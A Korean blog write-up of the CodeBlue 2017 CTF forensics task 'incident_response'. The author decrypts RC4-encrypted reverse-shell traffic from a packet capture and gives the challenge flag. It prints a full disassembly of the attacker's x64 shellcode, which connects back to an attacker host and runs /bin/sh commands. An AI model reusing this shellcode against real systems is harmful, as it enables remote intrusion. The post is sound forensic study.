본문 바로가기
OLD 2018 ~ 2021/MAJOR → Forensic

[CodeBlue2017]_[MISC]_incident_response

by pogn 2018. 7. 26.


Solving Process

아래의 패킷을 보면 
스트림 14번에서 cookie의 sessid 값 쪽에 버퍼오버플로우로 보이는 페이로드들이 넘어가고 
body 쪽에 쉘코드로 추정되는 데이터를 http 통신을 통해 보내는 것을 볼 수 있다. 




다음 스트림인 15번 TCP 스트림에서는 
쉘 코드가 올라간 이후, 
공격자(172.17.0.10) 측에서 명령어를 입력하면
웹서버(172.17.0.2) 측에서 응답 패킷을 보냈을 것이다. 

그런데 아마 암호화 된 것으로 보인다... 
음.....
그냥 쉘코드이겠거니 하고 넘어가려 했지만
통신이 어떻게 암호화 되어 있는지 명령어로 내렸을 
( 그렇지만, 보통 쉘은 (명령어 - 응답)의 쌍으로 이루어지니깐 
아마 두글자는 id 가 아닐까싶다....ㅋㅋㅋㅋ )
쉘코드 쪽을 분석해야 되겠다는 생각이 들었다. 


14번 스트림에서 나타났던 쉘코드를 save as로 추출해서 objdump를 이용하여 
x64 리눅스 쉘코드, x86 리눅스 쉘코드로 해석해 봤다. 

암호학의 리버싱(?)은 아는 것에서 추측해서 코드를 분석하는 것이 빠를 것이다....
-------------------------------------
- 대칭암호 ---- 블록암호
              ---- 스트림암호
- 비대칭암호
-------------------------------------
암호 중에서 비대칭 암호의 경우, 수학적 연산이 많이 들어가 자원소모가 크므로 대칭일 것이라고 추측한 뒤,
대칭 중에서는 위에 전달되는 바이트의 수가 가변적이고, 대충 원래 문자열의 수가 그대로 유지되는 것 같아서
대칭암호 중 바이트 단위로 연산을 수행하는 스트림 암호일 것이라고 추측해 봤다. 


스트림 암호는 입력값과 키 값을 Xor하여 암호문을 생성한다. 
대칭 스트림 암호를 위키피디아에 검색해서 꽤 유용한 정보를 얻엇다.....!!!
입력 값이 유사난수열(키)에 영향을 미치냐 안미치냐로 동기/비동기를 나누는데


아까 쉘코드에서 dev/urandom 이라는 문자열을 봣는데 커널 레벨에서의 유사난수를 생성해주는 것이라고 한다. 
난수열을 통해 스트림 암호 연산을 하고 있다는 것이 거의 확실해 졌다. 



첫번째로 웹 서버에서 전송된 것은 키 였다. ( RC4의 키길이는 정해져 있진 않지만, 16byte와 32byte를 주로 쓴다고 한다.)
공격자가 (10) 제일 처음 전송한 명령어는 id로 복호화 되었다. 

그 다음부터는 같은 키로 복호화 되지 않는다..... @_@


한참 고민하다가 
RC4가 한번씩 암호화 연산을 하면서 256byte의 키테이블을 뒤섞기 때문에 서버쪽에서 응답을 날릴때는 
키테이블이 바뀐것이 아닐까 싶어서 RC4 코드를 구현해서 해보다가, 영 잘 되지 않았다. 

그러던 도중 
주고받은 모든 패킷을 스트림 단위로 묶어서 한꺼번에 복호화 해 본 결과,
모든 패킷이 복호화 되었다. 그리고 가장 마지막 데이터에 플래그를 발견 할 수 있었다. 





CBCTF{7RAcKINPrINTs_i5_excItING}





비고 ) 

추출한 쉘코드를 디스어셈 한 결과는 다음과 같았다. 
아래의 문자열이 잘리는 것을 통해 x32인지 x64인지 추측해 볼수 있다고 한다. 
시스템 콜을 하나씩 따라가서 보는 방법으로 분석하거나
C 코드에 같이 올려서 컴파일 해서 분석하는 방법이 있지만, 
약간은 무모해 보여서... RC4로 안됬으면 하나씩 다 해봤을 지도 모르겠다.
0:  46 09 40 00             rex.RX or DWORD PTR [rax+0x0],r8d
4:  00 00                   add    BYTE PTR [rax],al
6:  00 00                   add    BYTE PTR [rax],al
8:  00 00                   add    BYTE PTR [rax],al
a:  e9 ab 01 00 00          jmp    0x1ba
f:  48 31 c0                xor    rax,rax
12: 0f 05                   syscall
14: c3                      ret

##
15: 48 31 c0                xor    rax,rax
18: 48 ff c0                inc    rax
1b: 0f 05                   syscall
1d: c3                      ret

##
1e: 48 c7 c0 02 00 00 00    mov    rax,0x2
25: 0f 05                   syscall
27: c3                      ret

##
28: 48 c7 c0 03 00 00 00    mov    rax,0x3
2f: 0f 05                   syscall
31: c3                      ret

##
32: 48 c7 c0 09 00 00 00    mov    rax,0x9
39: 49 89 ca                mov    r10,rcx
3c: 0f 05                   syscall
3e: c3                      ret

##
3f: 48 c7 c0 16 00 00 00    mov    rax,0x16
46: 0f 05                   syscall
48: c3                      ret

##
49: 48 c7 c0 21 00 00 00    mov    rax,0x21
50: 0f 05                   syscall
52: c3                      ret

##
53: 48 c7 c0 29 00 00 00    mov    rax,0x29
5a: 0f 05                   syscall
5c: c3                      ret

##
5d: 48 c7 c0 2a 00 00 00    mov    rax,0x2a
64: 0f 05                   syscall
66: c3                      ret

##
67: 48 c7 c0 39 00 00 00    mov    rax,0x39
6e: 0f 05                   syscall
70: c3                      ret

##
71: 48 c7 c0 3b 00 00 00    mov    rax,0x3b
78: 0f 05                   syscall
7a: c3                      ret

##
7b: 48 c7 c0 3c 00 00 00    mov    rax,0x3c
82: 0f 05                   syscall
84: 48 c7 c0 3d 00 00 00    mov    rax,0x3d
8b: 49 89 ca                mov    r10,rcx
8e: 0f 05                   syscall
90: c3                      ret

##
91: 66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]
98: 00 00
9a: 55                      push   rbp
9b: 53                      push   rbx
9c: 48 89 fd                mov    rbp,rdi
9f: 48 b8 2f 64 65 76 2f    movabs rax,0x6172752f7665642f
a6: 75 72 61
a9: 31 f6                   xor    esi,esi
ab: 48 83 ec 18             sub    rsp,0x18
af: 48 89 e7                mov    rdi,rsp
b2: 48 89 04 24             mov    QWORD PTR [rsp],rax
b6: c7 44 24 08 6e 64 6f    mov    DWORD PTR [rsp+0x8],0x6d6f646e
bd: 6d
be: c6 44 24 0c 00          mov    BYTE PTR [rsp+0xc],0x0
c3: e8 56 ff ff ff          call   0x1e
c8: 48 89 ee                mov    rsi,rbp
cb: 89 c3                   mov    ebx,eax
cd: ba 20 00 00 00          mov    edx,0x20
d2: 89 c7                   mov    edi,eax
d4: e8 36 ff ff ff          call   0xf
d9: 89 df                   mov    edi,ebx
db: e8 48 ff ff ff          call   0x28
e0: 48 83 c4 18             add    rsp,0x18
e4: 5b                      pop    rbx
e5: 5d                      pop    rbp
e6: c3                      ret

##
e7: 0f 1f 00                nop    DWORD PTR [rax]
ea: c7 47 04 00 00 00 00    mov    DWORD PTR [rdi+0x4],0x0
f1: c7 07 00 00 00 00       mov    DWORD PTR [rdi],0x0
f7: 31 c0                   xor    eax,eax
f9: 90                      nop
fa: 88 44 07 08             mov    BYTE PTR [rdi+rax*1+0x8],al
fe: 48 83 c0 01             add    rax,0x1
102:    48 3d 00 01 00 00       cmp    rax,0x100
108:    75 f0                   jne    0xfa
10a:    31 c0                   xor    eax,eax
10c:    31 d2                   xor    edx,edx
10e:    0f 1f 40 00             nop    DWORD PTR [rax+0x0]
112:    44 0f b6 44 07 08       movzx  r8d,BYTE PTR [rdi+rax*1+0x8]
118:    48 89 c1                mov    rcx,rax
11b:    83 e1 1f                and    ecx,0x1f
11e:    45 89 c2                mov    r10d,r8d
121:    44 02 14 0e             add    r10b,BYTE PTR [rsi+rcx*1]
125:    44 89 d1                mov    ecx,r10d
128:    01 ca                   add    edx,ecx
12a:    0f b6 ca                movzx  ecx,dl
12d:    44 0f b6 4c 0f 08       movzx  r9d,BYTE PTR [rdi+rcx*1+0x8]
133:    48 89 ca                mov    rdx,rcx
136:    44 88 4c 07 08          mov    BYTE PTR [rdi+rax*1+0x8],r9b
13b:    48 83 c0 01             add    rax,0x1
13f:    44 88 44 0f 08          mov    BYTE PTR [rdi+rcx*1+0x8],r8b
144:    48 3d 00 01 00 00       cmp    rax,0x100
14a:    75 c6                   jne    0x112
14c:    f3 c3                   repz ret
14e:    66 90                   xchg   ax,ax
150:    66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
157:    00 00 00
15a:    48 85 d2                test   rdx,rdx
15d:    4c 8d 14 16             lea    r10,[rsi+rdx*1]
161:    74 47                   je     0x1aa
163:    0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
16a:    8b 07                   mov    eax,DWORD PTR [rdi]
16c:    8b 57 04                mov    edx,DWORD PTR [rdi+0x4]
16f:    83 c0 01                add    eax,0x1
172:    0f b6 c0                movzx  eax,al
175:    89 07                   mov    DWORD PTR [rdi],eax
177:    0f b6 4c 07 08          movzx  ecx,BYTE PTR [rdi+rax*1+0x8]
17c:    01 ca                   add    edx,ecx
17e:    0f b6 d2                movzx  edx,dl
181:    89 57 04                mov    DWORD PTR [rdi+0x4],edx
184:    44 0f b6 4c 17 08       movzx  r9d,BYTE PTR [rdi+rdx*1+0x8]
18a:    44 88 4c 07 08          mov    BYTE PTR [rdi+rax*1+0x8],r9b
18f:    88 4c 17 08             mov    BYTE PTR [rdi+rdx*1+0x8],cl
193:    02 4c 07 08             add    cl,BYTE PTR [rdi+rax*1+0x8]
197:    0f b6 c9                movzx  ecx,cl
19a:    0f b6 44 0f 08          movzx  eax,BYTE PTR [rdi+rcx*1+0x8]
19f:    30 06                   xor    BYTE PTR [rsi],al
1a1:    48 83 c6 01             add    rsi,0x1
1a5:    49 39 f2                cmp    r10,rsi
1a8:    75 c0                   jne    0x16a
1aa:    f3 c3                   repz ret

##
1ac:    0f 1f 40 00             nop    DWORD PTR [rax+0x0]
1b0:    66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
1b7:    00 00 00
1ba:    41 57                   push   r15
1bc:    41 56                   push   r14
1be:    31 c0                   xor    eax,eax
1c0:    41 55                   push   r13
1c2:    41 54                   push   r12
1c4:    b9 21 00 00 00          mov    ecx,0x21
1c9:    55                      push   rbp
1ca:    53                      push   rbx
1cb:    48 81 ec b8 01 00 00    sub    rsp,0x1b8
1d2:    48 8d ac 24 a0 00 00    lea    rbp,[rsp+0xa0]
1d9:    00
1da:    48 c7 44 24 60 00 00    mov    QWORD PTR [rsp+0x60],0x0
1e1:    00 00
1e3:    48 c7 44 24 68 00 00    mov    QWORD PTR [rsp+0x68],0x0
1ea:    00 00
1ec:    48 c7 44 24 70 00 00    mov    QWORD PTR [rsp+0x70],0x0
1f3:    00 00
1f5:    48 c7 44 24 78 00 00    mov    QWORD PTR [rsp+0x78],0x0
1fc:    00 00
1fe:    48 89 ef                mov    rdi,rbp
201:    48 c7 44 24 50 00 00    mov    QWORD PTR [rsp+0x50],0x0
208:    00 00
20a:    48 c7 44 24 58 00 00    mov    QWORD PTR [rsp+0x58],0x0
211:    00 00
213:    f3 48 ab                rep stos QWORD PTR es:[rdi],rax
216:    e8 4c fe ff ff          call   0x67
21b:    85 c0                   test   eax,eax
21d:    0f 85 e7 01 00 00       jne    0x40a
223:    31 d2                   xor    edx,edx
225:    be 01 00 00 00          mov    esi,0x1
22a:    bf 02 00 00 00          mov    edi,0x2
22f:    e8 1f fe ff ff          call   0x53
234:    48 8d 5c 24 60          lea    rbx,[rsp+0x60]
239:    48 8d 74 24 50          lea    rsi,[rsp+0x50]
23e:    ba 02 00 00 00          mov    edx,0x2
243:    b9 7a 69 00 00          mov    ecx,0x697a
248:    66 89 54 24 50          mov    WORD PTR [rsp+0x50],dx
24d:    89 c7                   mov    edi,eax
24f:    ba 10 00 00 00          mov    edx,0x10
254:    66 89 4c 24 52          mov    WORD PTR [rsp+0x52],cx
259:    41 89 c4                mov    r12d,eax
25c:    c7 44 24 54 ac 11 00    mov    DWORD PTR [rsp+0x54],0xa0011ac
263:    0a
264:    4c 8d 74 24 40          lea    r14,[rsp+0x40]
269:    e8 ef fd ff ff          call   0x5d
26e:    48 89 df                mov    rdi,rbx
271:    e8 24 fe ff ff          call   0x9a
276:    ba 20 00 00 00          mov    edx,0x20
27b:    48 89 de                mov    rsi,rbx
27e:    44 89 e7                mov    edi,r12d
281:    e8 8f fd ff ff          call   0x15
286:    48 89 de                mov    rsi,rbx
289:    48 89 ef                mov    rdi,rbp
28c:    e8 59 fe ff ff          call   0xea
291:    45 31 c9                xor    r9d,r9d
294:    41 b8 ff ff ff ff       mov    r8d,0xffffffff
29a:    b9 22 00 00 00          mov    ecx,0x22
29f:    ba 03 00 00 00          mov    edx,0x3
2a4:    be 00 10 00 00          mov    esi,0x1000
2a9:    31 ff                   xor    edi,edi
2ab:    e8 82 fd ff ff          call   0x32
2b0:    48 89 c3                mov    rbx,rax
2b3:    48 8d 44 24 30          lea    rax,[rsp+0x30]
2b8:    48 89 44 24 08          mov    QWORD PTR [rsp+0x8],rax
2bd:    48 8d 44 24 20          lea    rax,[rsp+0x20]
2c2:    48 89 44 24 18          mov    QWORD PTR [rsp+0x18],rax
2c7:    48 8d 84 24 80 00 00    lea    rax,[rsp+0x80]
2ce:    00
2cf:    48 89 44 24 10          mov    QWORD PTR [rsp+0x10],rax
2d4:    66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
2da:    ba 00 10 00 00          mov    edx,0x1000
2df:    48 89 de                mov    rsi,rbx
2e2:    44 89 e7                mov    edi,r12d
2e5:    e8 25 fd ff ff          call   0xf
2ea:    48 85 c0                test   rax,rax
2ed:    0f 84 17 01 00 00       je     0x40a
2f3:    48 3d 00 10 00 00       cmp    rax,0x1000
2f9:    74 04                   je     0x2ff
2fb:    c6 04 03 00             mov    BYTE PTR [rbx+rax*1],0x0
2ff:    48 89 c2                mov    rdx,rax
302:    48 89 de                mov    rsi,rbx
305:    48 89 ef                mov    rdi,rbp
308:    e8 4d fe ff ff          call   0x15a
30d:    48 8b 7c 24 08          mov    rdi,QWORD PTR [rsp+0x8]
312:    e8 28 fd ff ff          call   0x3f
317:    e8 4b fd ff ff          call   0x67
31c:    85 c0                   test   eax,eax
31e:    41 89 c5                mov    r13d,eax
321:    74 67                   je     0x38a
323:    8b 7c 24 34             mov    edi,DWORD PTR [rsp+0x34]
327:    e8 fc fc ff ff          call   0x28
32c:    eb 20                   jmp    0x34e
32e:    0f 1f 40 00             nop    DWORD PTR [rax+0x0]
332:    48 89 c2                mov    rdx,rax
335:    48 89 de                mov    rsi,rbx
338:    48 89 ef                mov    rdi,rbp
33b:    e8 1a fe ff ff          call   0x15a
340:    4c 89 fa                mov    rdx,r15
343:    48 89 de                mov    rsi,rbx
346:    44 89 e7                mov    edi,r12d
349:    e8 c7 fc ff ff          call   0x15
34e:    8b 7c 24 30             mov    edi,DWORD PTR [rsp+0x30]
352:    ba 00 10 00 00          mov    edx,0x1000
357:    48 89 de                mov    rsi,rbx
35a:    e8 b0 fc ff ff          call   0xf
35f:    48 85 c0                test   rax,rax
362:    49 89 c7                mov    r15,rax
365:    75 cb                   jne    0x332
367:    8b 7c 24 30             mov    edi,DWORD PTR [rsp+0x30]
36b:    e8 b8 fc ff ff          call   0x28
370:    48 8b 74 24 10          mov    rsi,QWORD PTR [rsp+0x10]
375:    31 c9                   xor    ecx,ecx
377:    31 d2                   xor    edx,edx
379:    44 89 ef                mov    edi,r13d
37c:    e8 03 fd ff ff          call   0x84
381:    e9 54 ff ff ff          jmp    0x2da
386:    0f 1f 40 00             nop    DWORD PTR [rax+0x0]
38a:    48 b8 2f 62 69 6e 2f    movabs rax,0x68732f6e69622f
391:    73 68 00
394:    31 ff                   xor    edi,edi
396:    c6 44 24 22 00          mov    BYTE PTR [rsp+0x22],0x0
39b:    48 89 44 24 40          mov    QWORD PTR [rsp+0x40],rax
3a0:    b8 2d 63 00 00          mov    eax,0x632d
3a5:    4c 89 b4 24 80 00 00    mov    QWORD PTR [rsp+0x80],r14
3ac:    00
3ad:    66 89 44 24 20          mov    WORD PTR [rsp+0x20],ax
3b2:    48 8b 44 24 18          mov    rax,QWORD PTR [rsp+0x18]
3b7:    48 89 9c 24 90 00 00    mov    QWORD PTR [rsp+0x90],rbx
3be:    00
3bf:    48 c7 84 24 98 00 00    mov    QWORD PTR [rsp+0x98],0x0
3c6:    00 00 00 00 00
3cb:    48 89 84 24 88 00 00    mov    QWORD PTR [rsp+0x88],rax
3d2:    00
3d3:    e8 50 fc ff ff          call   0x28
3d8:    8b 7c 24 30             mov    edi,DWORD PTR [rsp+0x30]
3dc:    e8 47 fc ff ff          call   0x28
3e1:    8b 7c 24 34             mov    edi,DWORD PTR [rsp+0x34]
3e5:    be 01 00 00 00          mov    esi,0x1
3ea:    e8 5a fc ff ff          call   0x49
3ef:    48 8b 74 24 10          mov    rsi,QWORD PTR [rsp+0x10]
3f4:    31 d2                   xor    edx,edx
3f6:    4c 89 f7                mov    rdi,r14
3f9:    e8 73 fc ff ff          call   0x71
3fe:    e9 d7 fe ff ff          jmp    0x2da
403:    0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
40a:    31 ff                   xor    edi,edi
40c:    e8 6a fc ff ff          call   0x7b

Refernces
- TCP 프로토콜에서의 TCP flag 설정
(1) 세션 연결과정 ( 3 hand shake) : 
-SYN-> 
<-SYN ACK-
-ACK->

(2) 데이터 송수신과정
-PSH ACK->
<-ACK-

(3) 세션 종료과정
-FIN->
<-ACK 
-FIN ACK->



- HTTP 프로토콜 분석 
(1) 응답헤더
(2) 요청헤더


- 암호 알고리즘의 종류 중, 
대칭키 스트림 암호

- RC4 온라인 디크립트 툴 ( 굳굳)


댓글